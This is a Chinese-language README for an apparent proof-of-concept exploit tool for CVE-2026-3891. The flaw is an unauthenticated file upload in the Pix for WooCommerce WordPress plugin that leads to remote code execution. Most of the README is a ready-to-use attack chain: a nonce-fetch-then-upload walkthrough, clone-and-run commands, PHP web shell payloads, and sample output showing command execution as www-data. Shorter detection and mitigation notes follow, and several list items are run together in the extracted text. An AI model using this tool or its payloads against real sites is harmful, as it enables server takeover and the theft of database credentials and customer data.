CVE-2026-3891 的概念验证(PoC)漏洞利用程序 – 在 Pix for WooCommerce WordPress 插件(≤ 1.5.0)中,未认证的任意文件上传可导致远程代码执行。
CVE-2026-3891 是 Pix for WooCommerce 插件中的一个严重漏洞,影响所有版本直至 1.5.0。该插件未能在其 AJAX 处理器 lkn_pix_for_woocommerce_c6_save_settings 中强制执行正确的授权和文件类型检查。未认证的攻击者可以利用此缺陷将任意 PHP 文件上传到公开可访问的目录,并在底层 WordPress 服务器上实现远程代码执行。
本仓库包含一个生产级 PoC,可自动化整个攻击链路——从获取有效 nonce 到上传 WebShell——并具备强大的错误处理和美观的 CLI 界面。
certificate_crt_path 文件参数。--check)。[ * ]、[ + ]、[ - ]、[ ! ] 作为前缀,便于即时阅读。根本原因在于该插件注册的两个 AJAX 操作:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
此操作注册在 wp_ajax_nopriv_* 钩子上,使未认证访客可以访问。它为 lkn_pix_for_woocommerce_c6_settings_nonce 操作生成一个 nonce,并以 JSON 格式返回:
{"success":true,"data":{"nonce":"abc123..."}}
没有执行任何权限检查或用户认证——任何人都可以请求一个有效的 nonce。
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
该处理器保存插件设置,其中包括一个名为 certificate_crt_path 的文件上传字段。虽然上传是通过 WordPress 的 media_handle_upload 辅助函数完成的,但该插件没有:
current_user_can)。.php 文件)。wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
由于 nonce 仅用于防范 CSRF,且任何人都能获取它,攻击者可以将这两个操作串联起来,上传并执行任意 PHP 代码。
www-data 或 apache)获得完整的 WebShell 访问权限。wp-config.php、数据库凭据和客户数据。requests 库(通过 pip install requests 安装)。git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
如需更多控制选项,可使用命令行参数:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_* 注册,因此 nonce 始终可以获取。不需要 Cookie 或会话。admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – 先前获取的 noncecertificate_crt_path – multipart 文件上传(负载).php 文件会被接受并按原文件名存储。上传成功后,文件位于:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
该目录可通过 Web 直接访问;如果 Web 服务器配置为处理 PHP 文件(这是 WordPress 托管服务器的默认配置),PHP 文件将被执行。
certs_c6 目录中出现意外的 PHP 文件(尤其是类似 woocommerce.php、shell.php 等文件)。admin-ajax.php POST 请求,且带有上述操作。.../certs_c6/,并带有类似 ?cmd=id 的查询参数。监控你的 WordPress 日志,查找以下内容:
/wp-admin/admin-ajax.php 的重复 POST 请求,带有 action=lkn_pix_for_woocommerce_generate_nonce 和 action=lkn_pix_for_woocommerce_c6_save_settings。certs_c6 文件夹中创建新文件。使用文件完整性监控工具(如 Tripwire、OSSEC)对内容变更发出警报。certs_c6 目录内执行 PHP(例如,使用带 php_flag engine off 的 .htaccess)。current_user_can('manage_options'),上传则需进行适当的 nonce 验证并配合权限检查)。本项目采用 MIT 许可证授权——详见 LICENSE 文件。
免责声明: 本工具仅用于授权的安全测试和教育目的。作者不对因使用本软件而造成的任何滥用或损害负责。
如果你觉得这个 PoC 有用,请在 GitHub 上给它一个 ⭐,并负责任地分享。欢迎提交贡献、issue 和 pull request!
黑客愉快! 🛡️
| Flag | 描述 | 默认值 |
|---|
target(位置参数) | WordPress 站点的基础 URL。 | 必需 |
-f, --filename | 上传的 PHP 文件名。 | woocommerce.php |
-p, --payload | 要上传的 PHP 代码。 | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | 请求超时时间(秒)。 | 15 |
-r, --retries | 获取 nonce 的最大重试次数。 | 2 |
--no-banner | 隐藏 ASCII 艺术横幅。 | (关闭) |
--no-verify | 上传后跳过可访问性检查。 | (关闭) |
--check | 上传后在 WebShell 上执行 id 命令。 | (关闭) |